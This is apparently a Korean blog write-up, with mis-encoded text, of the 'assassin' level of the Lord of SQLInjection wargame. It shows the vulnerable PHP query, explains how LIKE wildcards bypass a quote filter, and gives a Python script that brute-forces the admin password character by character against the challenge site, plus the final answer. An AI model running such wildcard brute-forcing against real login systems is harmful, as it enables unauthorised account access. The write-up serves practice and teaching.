wargame ๐Ÿด‍โ˜ ๏ธ write-up/Lord of SQLInjection

assasin

Kortsec1 2023. 8. 1. 23:16

1. Code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

 


2. Condition

  • ์ž‘์€ ๋”ฐ์˜ดํ‘œ๋ฅผ ํ•„ํ„ฐ๋ง ํ•œ๋‹ค.
  • ์ฟผ๋ฆฌ๋ฌธ์— ๊ธฐ์กด๊ณผ ๋‹ค๋ฅด๊ฒŒ like๊ฐ€ ์‚ฌ์šฉ๋˜์—ˆ๋‹ค.

 


3. Solution

๋ณ€์ˆ˜๋ช… ๊ฐ’
pw i%

like๋Š” %,_์™€ ๊ฐ™์ด ํŠน์ˆ˜ํ•œ ๋ฌธ์ž๋ฅผ ํ†ตํ•ด ์ •ํ™•ํ•˜์ง€ ์•Š์•„๋„ ๊ฐ’์„ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ๊ฒŒํ•œ๋‹ค.

% : ๊ธ€์ž์ˆ˜์™€ ์ƒ๊ด€์—†์ด ๋ชจ๋“  ๊ธ€์ž๋ฅผ ์˜๋ฏธํ•œ๋‹ค.

_ : ๊ธ€์ž ํ•˜๋‚˜๋ฅผ ์˜๋ฏธํ•œ๋‹ค.

 

 

์‰ฝ๊ฒŒ ์„ค๋ช…ํ•˜์ž๋ฉด ์•„๋ž˜ ํ‘œ์™€ ๊ฐ™๋‹ค. ์„œ๋กœ ๊ฐ™์€ ๊ฐ’์ด๋‹ค.

์›๋ฌธ like ์ธ์ž
ch4n %
w00ng w%
yee %e
What W_at
A$AP A$A_

 

 

์‹œ์ž‘ํ•˜๊ธฐ์ „, ๋ชจ๋“  ์—ฌ๋Ÿฌ ascii๊ฐ’์„ ๋„ฃ์–ด๋ดค์ง€๋งŒ Hello guest๋งŒ ๋‚˜์˜ค๋Š” ๊ฒƒ์„ ๋ณด๊ณ , guest์™€ admin์˜ pw๋Š” ๊ฒน์น˜๋Š” ๋ถ€๋ถ„์ด ์žˆ๋‹ค๊ณ  ํŒ๋‹จํ•˜์˜€๋‹ค.

 

python ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ด์šฉํ•˜์—ฌ "Hello guest"๊ฐ€ ๋‚˜์˜ค๋Š” pw๋ฅผ ์ž„์‹œ๋กœ ์ €์žฅํ•ด๋‘๊ณ , "Hello admin"์ด ๋‚˜์˜ฌ๋•Œ ๊นŒ์ง€ ๋ฃจํ”„์‹œ์ผฐ๋‹ค.

 

 


4. Injection

๋”๋ณด๊ธฐ

์šฐ์„ , python ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์งœ๋ดค๋‹ค.

import requests

cookie = {'PHPSESSID' : '~~~~'}
find_ad = 0
pw_plz = ""

for i in range(10):
    for j in range(48, 123):
        if j == 37 or j == 95:
            continue
            
        url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+pw_plz+"%s%%" % chr(j)
        res = requests.get(url, cookies=cookie)

        if "Hello admin" in res.text:
            print(url.split('?')[1],"-> admin")
            pw_plz += chr(j)
            find_ad = 1
            break

        elif "Hello guest" in res.text:
            print(url.split('?')[1],"-> guest")
            pw_plz += chr(j)
    
    if find_ad:
        print("\nadmin pw : %s%%" % pw_plz)
        break

 

 

์„ฑ๊ณต์ ์œผ๋กœ ๊ฒฐ๊ณผ ๊ฐ’์ด ๋‚˜์˜จ๋‹ค.

img_1 script output

 

๋ณ€์ˆ˜๋ช… ๊ฐ’
pw 902%

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > Lord of SQLInjection' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

zombie_assasin  (0) 2023.08.03
succubus  (0) 2023.08.01
giant  (0) 2023.08.01
bugbear  (0) 2023.07.30